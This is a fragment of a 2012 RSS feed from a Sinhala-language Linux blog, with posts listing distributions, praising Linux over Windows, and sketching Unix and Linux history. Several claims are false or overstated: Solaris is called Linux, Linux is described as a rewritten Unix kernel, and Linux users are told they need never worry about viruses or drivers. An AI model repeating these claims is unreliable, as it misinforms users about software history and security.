&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;150&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgScr92I6ghcPWtW5ZP82NcJVG3rqk2uz79gbd2u8hEZtmh3jdsnkNumyunHiKhHQrqQWDlgXBvAxfaBm7zracYkbTIDz8zqle8k3SPZb_n2tBUcmokdnZyfjRGv37YNY_ZehwbC2emL0/s200/menu.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot; width=&quot;200&quot; /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;u&gt;ලිනස්ක් මින්ට්&amp;nbsp;&lt;/u&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; margin-left: 1em; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtBAo_Fb90SSn3_JdpL4tm-h5RPOlLACnTYV35scG0WN4bxmyAxUmoY_LJ5EOY63fZONNsl3H05IGSG4a8Su-6ABZW1qInlpiynk-zcS-5feNfTPmANpPcWb2t_AjKtXGIRtTMq7XdNzs/s1600/welcome.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; display: inline !important; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;150&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtBAo_Fb90SSn3_JdpL4tm-h5RPOlLACnTYV35scG0WN4bxmyAxUmoY_LJ5EOY63fZONNsl3H05IGSG4a8Su-6ABZW1qInlpiynk-zcS-5feNfTPmANpPcWb2t_AjKtXGIRtTMq7XdNzs/s200/welcome.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;u&gt;ආරම්භක තිරය&lt;/u&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgScr92I6ghcPWtW5ZP82NcJVG3rqk2uz79gbd2u8hEZtmh3jdsnkNumyunHiKhHQrqQWDlgXBvAxfaBm7zracYkbTIDz8zqle8k3SPZb_n2tBUcmokdnZyfjRGv37YNY_ZehwbC2emL0/s1600/menu.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;/div&gt;
&amp;nbsp;තව ලස්සන, භාවිතයට පහසු &lt;b&gt;ලිනක්ස්&lt;/b&gt; ඩිස්ට්‍රෝ ගොඩාක් තියෙනව.. ලිපිය දිග වැඩිවෙන නිසා ඔක්කොම සඳහන් කරන්න අමාරුයි. සියළුම &lt;a href=&quot;http://en.wikipedia.org/wiki/Linux_distribution&quot; target=&quot;_blank&quot;&gt;ඩිස්ට්‍රො&lt;/a&gt; මේ ලිපියෙන් බලා ගන්න පුළුවන්. තවත් ආස හිතෙන ඩිස්ට්‍රො කීපයක් ගැන කෙටියෙන් ලියන්නම්. ඒ ලින්ක් ක්ලික් කිරීමෙන් ඔබට ඒවා ලබාගන්නත් පුළුවන්.&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://ubuntustudio.org/&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;උබුන්ටු ස්ටූඩියෝ&lt;/span&gt;&lt;/a&gt;&amp;nbsp; - &amp;nbsp;මේක වෘත්තීයම ශබ්ද හා රූප මාධයම කටයුතු සඳහා භාවිතා කරයි.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://pear-os-linux.fr/&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;පියර් OS&lt;/span&gt;&lt;/a&gt;&amp;nbsp; - &amp;nbsp;මෙය ඇපල් මැකින්ටෝෂ් ආකෘතියට සමීප උබුන්ටු සංවර්ධනය කරමින් නිපදවූ ආකර්ෂණීය මෙහෙයුම් පද්ධතියකි.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;a href=&quot;http://www.oracle.com/us/products/servers-storage/solaris/solaris11/overview/index.html&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;සොලාරිස්&lt;/span&gt;&lt;/a&gt;&amp;nbsp;&lt;/span&gt; - &amp;nbsp;ඔරකල් සමාගමෙන් නිපදවූ තවත් &lt;b&gt;ලිනක්ස්&lt;/b&gt; මෙහෙයුම් පද්ධතියකි.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.opensuse.org/en/&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;ඕපන් සූසේ&lt;/span&gt;&lt;/a&gt;&amp;nbsp;- තවත් එක් ලස්සන ලිනක්ස් ඩිස්ට්‍රොවක්.&lt;/li&gt;
&lt;/ul&gt;
මෙසේ සිය ගණනක් වූ &lt;b&gt;ලිනක්ස්&lt;/b&gt; ඩිස්ට්‍රො අතරින් ඔබට ගැළපෙන ඕනෑම ඩිස්ට්‍රෝවක් නොමිලේම ලබා ගෙන එන්න &lt;b&gt;ලිනක්ස්&lt;/b&gt; ලෝකෙට...... මේ නිදහසේ ජීවත් වීමට හොඳම වෙලාවයි.&lt;/div&gt;
</description><link>http://linux-sinhala.blogspot.com/2012/08/linux-distro.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtYmFSK7w93b_h-V-D9FI_GhqzFoThn-0VN60sOiOVGhnfH_pdHs7-oG7Q2QwnankV628Rnla4W_Hj9zNP1PIqclsm8XWmefm1FdoNj0Ea9QiK9UVXyGmgWQA2pBrcFubr6y0ruVcGbZc/s72-c/ubuntulogo.png" height="72" width="72"/><thr:total>7</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-897927209880769540</guid><pubDate>Thu, 23 Aug 2012 19:03:00 +0000</pubDate><atom:updated>2012-10-08T20:04:35.692+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Drivers</category><category domain="http://www.blogger.com/atom/ns#">FOSS</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Operating Systems</category><category domain="http://www.blogger.com/atom/ns#">windows</category><title>ඇයි ලිනක්ස් මෙච්චර හොඳ....???</title><description>ඔබගේ මෙහෙයුම් පද්ධතිය ලෙස &lt;b&gt;ලිනක්ස්&lt;/b&gt; තෝරා ගැනීමට හේතු බොහෝමයක් තියෙනවා. කියවන්න ලේසි වෙන්නත් එක්ක ඒවා එකින් එක කරුණු වශයෙන්ම කියන්නම්කෝ.. අමතක වෙච්ච හේතුවක් තියෙනවා නම් එකතු කරන්නත් පුළුවන් ඕන්....&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: red;&quot;&gt;ඔක්කොම නොමිලේ ගන්න තියෙන කොට ඇයි මංකොල්ලකන්නේ ??&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
ඔබ දැනටමත් Windows හෝ එවැනි වාණිජ මෙහෙයුම් පද්ධතියක් භාවිතා කරන අයෙක් නම් &quot;&lt;i&gt;අපි නම් Windows වලට ගෙවලා නෑ&lt;/i&gt;&quot; කියලා කියන අයෙක් වෙන්න පුළුවන්, චුට්ටක් හිතලා බලන්නකෝ ඒක ඇත්තමද කියලා..?&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
ඔබ භාවිතා කරන ලැප්ටොප් එක හෝ පරිගණකය Windows සමඟින් ආපු එකක් නම් ඔබ දැනටමත් ඔබේ පරිගණකයට වැය වුන මුදල වගේ දෙතුන් ගුණයක්&amp;nbsp;මෙහෙයුම් පද්ධතියට ගෙවපු කෙනෙක්. මංකොල්ලකාපු Windows &amp;nbsp;මෙහෙයුම් පද්ධතියක් භාවිතා කරන තරම් පහත් වැඩක් නොකරන කෙනෙක් නම් ඔබ ඔබගේ මෙහෙයුම් පද්ධතිය වෙනුවෙන් සෑහෙන්න ගාණක් Microsoft සමාගමට ගෙවපු කෙනෙක්.&lt;br /&gt;
ඉතිං&amp;nbsp;&lt;b&gt;ලිනක්ස්&lt;/b&gt;&amp;nbsp;වගේ සියල්ල සපිරි මෙහෙයුම් පද්ධති ඕනෑ තරම් නොමිලේම ගන්න තියෙද්දි ඇයි නිකන් මුදල් නාස්ති කරන්නේ ?? එහෙමත් නැත්තම් ඇයි නිකරුනේ හොරෙක්, මංකොල්ලකාරයෙක් වෙන්නේ.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: red;&quot;&gt;වෛරස් ගැන අමතක කරන්න.&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
වෛරස් ආසාදන නිසා ඔබගේ පරිගණකය ඔබ කීවතාවක් නම් format කරලා ඇද්ද...? මේ ජරා වෛරස් නිසා පරිගණකය භාවිතා කරන එක කී සැරයක් නම් එපා වෙලා ඇද්ද..?&lt;br /&gt;
&lt;b&gt;ලිනක්ස්&lt;/b&gt; වලට ආපු දවසේ ඉදන් වෛරස් ගැන සම්පූර්ණයෙන්ම අමතක කරලා දාලා නිදහසේ පරිගණකය භාවිතා කරන්න ඔබට පුළුවන්.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: red;&quot;&gt;Drivers නම් ඕනෙම නෑ.&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
අළුතින් දෘඩාංගයක්... අඩුම ගානේ HSDPA Dongle එකක් පවා භාවිතා කරන්න යනකොට Drivers ගැටළු කීයක් නම් ඔබ අත්විදලා ඇද්ද..? ලිනක්ස් එක්ක මේ සියළුම&amp;nbsp;Drivers&amp;nbsp;ප්‍රශ්න අමතක කරලා දාන්න ඔබට පුළුවන්. ඇත්තටම දැනට අපි නිතර භාවිතා කරන සියළුම දෘඩාංග වලට අදාළ සියළුම&amp;nbsp;Drivers&amp;nbsp;&lt;b&gt;ලිනක්ස්&lt;/b&gt; කර්නල් එකේ තියෙනවා. ඉතිං ඔබට අමුතුවෙන්&amp;nbsp;Drivers&amp;nbsp;ගැන ළතැවෙන්න ඕනේ නෑ.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: red;&quot;&gt;පරණ පරිගණක වලිනුත් වැඩ ගන්න.&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
අපි දන්නවා Windows වල අළුත් සංස්කරණ එන්න එන්න ඒවා ඉල්ලන මූලික අවශ්යතාත් වැඩි වුනා. ඒක නිසා බොහෝමයක් දෙනාට එක්කෝ තමන්ගේ පරිගණකය වැඩි දියුණු කරන්න වුනා, නැත්තම් ඒ පරණ පරිගණකය විසි කරන්න වුනා. ඒත් &lt;b&gt;ලිනක්ස්&lt;/b&gt; වැඩි දියුණු වෙන්න වෙන්න ඉල්ලන අවශ්යතා අඩු වුනා. කොටින්ම කියනවා නම් දැන් ලොකේ තියෙන අළුත්ම ලිනක්ස් සංස්කරණයක් එක්ක වැඩ කරන්න 256MB රැම් එකක් තියෙන පරිගණකයකටත් පුළුවන්. ඉතිං එහෙව් එකේ මොකටද වැඩි මුදලක් දීලා ඉල්ලන් කන්නේ...?&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;u&gt;අළුත් මෘදුකාංග හොයන්න වටේ යන්නේ ඇයි..?&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
Windows භාවිතා කරද්දි මොකක් හරි අළුත් මෘදුකාංගයක් ඕන වුනොත් දස අතේ හොයන්න වෙන බව කවුරුත් දන්නවනේ. ඉතිං &lt;b&gt;ලිනක්ස්&lt;/b&gt; එක්ක නම් එහෙම වද විදින්න ඕනෙම නෑ. මෙහෙයුම් පද්ධතියක් එක්කම ලැබෙන තවත් මෘදුකාංග මගින් ඒ ඒ අවශ්ය සියළුම මෘදුකාංග එක ක්ලික් එකකින් ඔබට ලබාගන්න පුළුවන්.&lt;br /&gt;
&lt;br /&gt;
එකින් එක විස්තර කරලා ලියන්න බැරිතරමට හේතු තියෙනවා ලිනක්ස් භාවිතා කරන්න. හරි තව ටිකක් කෙටියෙන්ම ලියන්නම්කෝ.....&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;පරිගණකය සමඟ වේගයෙන් වැඩ කරන්න.&lt;/li&gt;
&lt;li&gt;අවශ්ය විදිහට ඕනෑ දෙයක් වෙනස් කරමින් වැඩ කරගන්න.&lt;/li&gt;
&lt;li&gt;අදාළ සියළුම උපදෙස් නොමිලේම ලබාගන්න.&lt;/li&gt;
&lt;li&gt;කවුළු රාශියක් වෙනුවට වැඩබිම් කිහිපයක වැඩ කරගන්න.&lt;/li&gt;
&lt;li&gt;පද්ධතියේ ස්ථවාර බව වැඩි කරගන්න.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
මේ වගේ හේතු බොහෝමයක් තියෙනවා &lt;b&gt;ලිනක්ස්&lt;/b&gt; වලට මාරු වෙන්න. ඔබට දැනටමත් Windows අතඇරගන්න බැරි විශේෂ මෘදුකාංග තියෙනවා නම් ඒවට විකල්පත් &lt;b&gt;ලිනක්ස්&lt;/b&gt; වල තියෙනවා. එහෙනම් එන්න &lt;b&gt;ලිනක්ස්&lt;/b&gt; ලෝකෙට....! &lt;b&gt;අපි දැන්වත් හරි දේ කරමු.&lt;/b&gt;</description><link>http://linux-sinhala.blogspot.com/2012/08/why-linux.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-2273390119656955784</guid><pubDate>Thu, 23 Aug 2012 13:49:00 +0000</pubDate><atom:updated>2012-10-08T20:05:28.918+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">C</category><category domain="http://www.blogger.com/atom/ns#">FOSS</category><category domain="http://www.blogger.com/atom/ns#">History</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Sinhala</category><category domain="http://www.blogger.com/atom/ns#">Unix</category><title>Linux ඉතිහාසය කෙටියෙන්.</title><description>&lt;br /&gt;
Linux ගැන කතා කරනවා නම් Unix ගැනත් කථා නොකරම බෑ. දශක &amp;nbsp;හතරකටත් වැඩියෙන් ඉදලා බහු භාවිතාය, බහුකාර්ය යෙදීම්, ස්ථාවරබව, පහසුවෙන් එහා මෙහා ගෙන යා හැකි සහ බලසම්පන්න ජාලගත කිරීම් සම්බන්ධතාව වැනි මූලික ගුණාංග හේතුවෙන් ජනප්‍රිය වෙච්ච මෙහෙයුම් පද්ධතියක් තමා Unix කියන්නෙ. කථාව පටන් ගන්නේ 1969 ඉදන්, ඒ කාලයේ &lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;AT &amp;amp; T හා Bell පර්යෙෂණාගරායේ&amp;nbsp;පර්යේෂන කරපු &lt;a href=&quot;http://en.wikipedia.org/wiki/Dennis_Ritchie&quot; target=&quot;_blank&quot;&gt;ඩෙනිස් රිචේ&lt;/a&gt; සහ &lt;a href=&quot;http://en.wikipedia.org/wiki/Ken_Thompson&quot; target=&quot;_blank&quot;&gt;කෙන් තොම්සන්&lt;/a&gt; යන මහත්වරුන් කරපු පර්යේෂනයක ප්‍රතිඵලයක් ලෙස තමා Unix උපදින්නේ.&lt;br /&gt;
මේ ඩෙනිස් රිචේ කියන්නේ අපි අදටත් භාවිතා කරන C පරිගණක භාෂාව ලෝකෙට හදුන්වාදීපු පුද්ගලයා. කෙන් තොම්සන් විසින් ලියන ලද කේත ඩෙනිස් රිචේ විසින් නැවත C භාෂාවෙන් ලියලා තමා Unix &lt;a href=&quot;http://www.kernel.org./&quot; target=&quot;_blank&quot;&gt;Kernel&lt;/a&gt; එක එහෙමත් නැත්තම් ප්‍රධාන කේත සටහන එළිදැක්වෙන්නේ.&lt;br /&gt;
ඒ කාලයේ අද වගේ මෘදුකාංග මුදලට විකිනීමක් නොතිබුන බැවින් මෙම Unix Kernel එක අධ්යන කටයුතු සදහා විශ්වවිද්යාල අතර හුවමාරු කරගනිමින් Unix දිගින් දිගටම සංවර්ධනය වුනා.&lt;br /&gt;
1991 දි ෆින්ලන්තයේ &lt;a href=&quot;http://en.wikipedia.org/wiki/University_of_Helsinki&quot; target=&quot;_blank&quot;&gt;හෙල්සින්කි විශ්වවිද්යාලයේ&lt;/a&gt; දෙවන වසර සිසුවකු වූ&amp;nbsp;&lt;a href=&quot;http://en.wikipedia.org/wiki/Linus_Torvalds&quot; target=&quot;_blank&quot;&gt;ලිනස් ටොර්වල්ඩ්ස්&lt;/a&gt; Unix කර්නලය නැවත වෙනස් කර ලියමින් Linux නම් වූ අපූර්ව මෙහෙයුම් පද්ධතිය ලෝකෙට බිහි කරා.&lt;br /&gt;
Linux කියන එකේ තේරුම Linux යනු Unix නෙව් යන බවය. &lt;b&gt;L&lt;/b&gt;inux &lt;b&gt;I&lt;/b&gt;s &lt;b&gt;N&lt;/b&gt;ot &lt;b&gt;U&lt;/b&gt;ni&lt;b&gt;X&lt;/b&gt;.&lt;br /&gt;
මෙලෙස යුනික්ස් වල ඉදන් ලිනක්ස් දක්වා විකාශනය මෙම රූපයෙන් සරලව පෙන්නන්න පුළුවන්.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXg-YYS1rIXJBturqeiRn6MyEY9i43ti8SIjdw4SbQfiYhr3qXXmU5Uh2QuWRsrkSE3Z1gIDCV_WLkCvZU6TWhe1d7CGsZ9KbtzLERYCC4UqtNpcV9pz03Umv23ilfe3ojp_GD7f4oKYY/s1600/familytree.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXg-YYS1rIXJBturqeiRn6MyEY9i43ti8SIjdw4SbQfiYhr3qXXmU5Uh2QuWRsrkSE3Z1gIDCV_WLkCvZU6TWhe1d7CGsZ9KbtzLERYCC4UqtNpcV9pz03Umv23ilfe3ojp_GD7f4oKYY/s320/familytree.gif&quot; width=&quot;276&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
අදටත් අපි භාවිතා කරන ලිනක්ස් මෙහෙයුම් පද්ධති වල මුල් යුනික්ස් විධාන තිබීමෙන් පෙනීයන්නේ ලින්ක්ස් සහ යුනික්ස් වල තිබෙන අපූර්ව බැඳිමයි.(ls, cp, mv, rm...etc)&lt;br /&gt;
1991 ඉදන් මේ දක්වාම සුපිරි පරිගණක වල සිට අප භාවිතා කරන පුද්ගලික පරිගණක දක්වා ලිනක්ස් තම බලසම්පන්න බව පෙන්වා ඇත.</description><link>http://linux-sinhala.blogspot.com/2012/08/linux_23.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXg-YYS1rIXJBturqeiRn6MyEY9i43ti8SIjdw4SbQfiYhr3qXXmU5Uh2QuWRsrkSE3Z1gIDCV_WLkCvZU6TWhe1d7CGsZ9KbtzLERYCC4UqtNpcV9pz03Umv23ilfe3ojp_GD7f4oKYY/s72-c/familytree.gif" height="72" width="72"/><thr:total>4</thr:total></item></channel></rss>